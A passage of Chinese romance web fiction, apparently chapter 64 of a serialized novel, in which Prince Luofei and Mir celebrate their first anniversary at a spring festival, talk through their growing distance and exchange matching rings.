露希恩,汐莱纳希,艾瑟兰,诺薇拉,落瑟恩……艾琳娜看着逐渐长大成人的米尔,忽然涌起多年前父母对她的期盼慢慢地,好好地长大就好。 结果,偏不如她的愿。 米尔忽然病了,病得让她措手不及,长久的治疗和修养也仅仅只是稍稍恢复些精气神。 刚想好好陪伴在米尔身边的艾琳娜甚至没来得及松口气, 露希恩王国也恰好出了问题,战乱频发,武器被公然使用,子民安危无人顾及,艾琳娜带着战火的源头——所有的图纸赶回露希恩,却只来得及看见战争的爆发。 再然后,便没有然后,也无人知道她在哪里,包括死后。 还好,也没有人知道她带来的东西去了哪里。 64. 四日 “你怎么了?”米尔换下刚刚锻炼时穿的衣服,看向躺在一边的洛斐,见他没回答,重新问道:“你不是该去参加王后给你准备的那场比试吗?” 洛斐见米尔骑马归来,连忙侧着身看他。 米尔见他举措奇怪,也顺势歪了歪头向他望去,像是等他先开口。 洛斐清了清嗓子,语气雀跃地说道:“米尔,告诉你一个好消息。” 米尔坐在他身旁,笑着问:“什么消息?” 洛斐扯着他衣摆,抬眸望向他,先问了句,“米尔,你先告诉我,四日后是什么日子?” 米尔显然没料到对方会忽然发问,愣了片刻,托着腮想了想,慢慢地回答:“难道是……莫尔顿公爵邀请我们去狩猎的日子?” 洛斐想也没想地回答:“不是。” 米尔余光瞥见洛斐的神情——不解中带着些许委屈,他笑了笑,轻轻地躺在对方身边。 洛斐见状,偏着头钻进了对方的怀抱,末了,用力地蹭了蹭。 “好了,四日后是我们的结婚一年的日子,对吗?”米尔没推开他,而是笑着哄他,“我怎么会忘记,只是在逗你。” 洛斐深吸一口气,闷闷地开口:“你就是忘记了。我……本来还想告诉你,父王和母后给我放了四日小假的消息呢。” “真的?”米尔将他从怀里拉了出来,看着他问道。 莱因哈特国王的身体不如先前,繁重的事务处理起来也不再得心应手,米尔看得出来,洛斐自然也是心知肚明,从露希恩回来后,他便较往常要更加用功些。 米尔想着,现在有了国王王后批准的休假时间,对方休息的时间更充足了些,能好好地歇着了。 “米尔,我们用这四日的时间去游玩,好不好?”洛斐看着米尔,认真地问。 “游玩?”米尔站起身来,垂眸看向洛斐,不解地问:“你好不容易有休息的时间,为什么要去游玩呢?” 他说完又觉得话说得有些古怪,连忙改口:“我的意思是,我们花一日的时间去艾瑟兰周边游玩,其余时间你用来休息会更好。” “不要。” 洛斐一口回绝,猛地抬手扶着米尔的肩膀,将对方也吓了一跳,“那么郑重的日子,怎么能花一半时间来休息呢。” “必须要全部利用好。”洛斐说得有理有据,语气坚决,眼神坚定得像是要将带人现在便离开艾瑟兰。 莱因哈特和薇洛希近来对他的教导严格许多,而且多数涉及到先前极少了解的王国政务方面。 洛斐也猜到了,父王母后早就开始计算将政务交予他了。 如果此次没去成,洛斐也不知道什么时候才能再次和米尔一起游玩。 米尔见洛斐抱着他不放手也不说话,叹口气,拍了拍他的手,“好,你先放开,你要是真的想去那便去好了,只是尽量不要去太远的地方。” “为什么?” “因为我……是秘密。过些日子,自然告诉你。”米尔索性将他的手的掰开,丢下一句“我去喂喂小白”便伸了伸腰离开了。 洛斐望着米尔那离开得如此干脆的背影,微微皱眉。 米尔对他的疏离不是最近的事情,如果真要说,已经持续很久了。 伴侣间慢慢归于平淡并不稀奇,但问题是,米尔现在的性子并不张扬,他们还没来得及热烈,便到了这一步了。 况且,米尔不像别人那样那样偶尔平淡,而是日复一日地对他冷漠起来。 反正,洛斐是如此看见的,也是如此想的。 洛斐想着想着,随手拿起一旁的毛毯,将脑袋深深地埋了进去,只一双深秋色的眼眸露在外面。 到底是米尔的感情淡了,还是对他毫无爱意了。 …… 洛斐精心挑选很久的地方,米尔看了一眼便全都拒绝了,只是将凯勒布送来的信件递给他。 洛斐不解,警惕地抬眸看向对方。 米尔指了指信件,挑了挑眉。 洛斐顺势接过来。 果然是凯勒布和埃迪传给他们的邀请函,邀请他们去夏塞林参加春末的典礼。 信件中,凯勒布的语句真挚,说夏塞林今年春末的典礼是极致热闹,百年难遇,让他们一定要来参观。 洛斐见米尔兴致颇高,便应下了邀请。 埃迪算好了日子,他们来夏塞林的第一日,也是典礼刚开始的日子。 这场春末的典礼,的确如他们所说的那样热闹,小城的广场挤满了人,摊贩的叫卖声和人们的欢笑声混杂在一起,街道两侧的窗户都开着,面包的香气也紧紧跟着传了出来,旗帜被风吹得猎猎作响。 到了傍晚,人们又开始载歌载舞,先前祥和的小城表现出如此热情的一面。 洛斐和米尔并肩看着,站在人群中有些恍惚。 凯勒布和埃迪看着眼前的场景倒是习以为常,牢牢地牵着手,熟练跳着夏塞林独特的舞曲。 末了,还要伸手拉早就跑向一边的洛斐和米尔。 他们上一次共舞,还是在赛维恩庄园的那场宴会上,洛斐原先将当时的配合不好归结于彼此不熟悉。 现在看来洛斐总结得并不恰当。 洛斐对夏塞林的舞曲全然陌生,只能牵着米尔的手,由米尔带着他跳。 周边的人们跳得火热,洛斐和米尔踩得也很火热。 哪怕两人踩 得身体乱晃,但米尔依旧笑得弯了弯眼睛,视线移向心不在焉的洛斐身上时,愣了愣。 “殿下,你是不舒服吗?” 洛斐忽然听见熟悉的声音说着陌生的称呼,怔愣了片刻,而后扯起嘴角,摇了摇头,“不是的,只是……手臂有些疼。” 洛斐说着便晃了晃手臂,米尔则是直直地望着他,目不转睛,就在洛斐都要装不下去时,米尔扯着他的衣摆,抬手护着洛斐,径直离开热闹的人群。 “喝点茶歇一歇。”米尔带洛斐去了那次去的茶摊,朝他交代道。 背负着任务的游玩的确有疏忽,比如洛斐现在才看清了茶摊真正的名字——爱意茶摊。 还真是应景,洛斐喝了口茶,想到了。 “殿下,你是在担忧什么吗?” 洛斐抬眸看去,恰好对上米尔直直的视线。 暖风吹来,周边人们都去参加活动,连摊主都在路边坐着伸脑袋。 洛斐被米尔盯得有些不自在,缓缓地松口气,“你猜得真准。” “王国政务不用担忧,我会为你分担,你只要用有信心就好,至于其他……”米尔喋喋不休地说道。 “米尔,我是担忧,你为什么与我越来越疏离?”洛斐伸着头,看着米尔的眼眸。 “疏离?”米尔反问。 “米尔,不要否认。我知道你原先不疏离的模样。”洛斐认真地说道。 “疏离吗?”米尔抬头想了想,直白地回答:“好像是有点。” “……”洛斐拿起身旁的茶杯喝了口。 “你身为艾瑟兰的王子,又是在了解和学习王国政务的关键时间,我不打扰你也很正常。”米尔说完,看向洛斐,反问:“不是吗?” “当然不是。我更不不介意你的打扰,不对,根本不是打扰。”洛斐急忙解释,“而且,我和你本就是伴侣,怎么会耽误我学习和了解王国事务呢。” “如果不是你解释,我会以为你……讨厌我了。” “有任何事情都请和我说,不会有人比我们更清楚话说不明白的后果。” 洛斐还想继续补充,指尖却猛地一凉。 他垂眸望去,无名指的指尖套着一枚银色的戒指,涉设计素净,几乎没有其他装饰,只有戒面内侧刻着他们的名字。 对面的米尔笑意盈盈地望着他,“给你的礼物。” 洛斐怔了一瞬,也从衣袋里拿出一枚一模一样的戒指,在米尔眼前晃了晃,“好巧。” 为数不多的默契全用在了这时候。 米尔垂着眸,转动着手腕,望着那枚戒指闪着银光,笑了笑说:“祝我们一周年节日快乐。” “嗯。”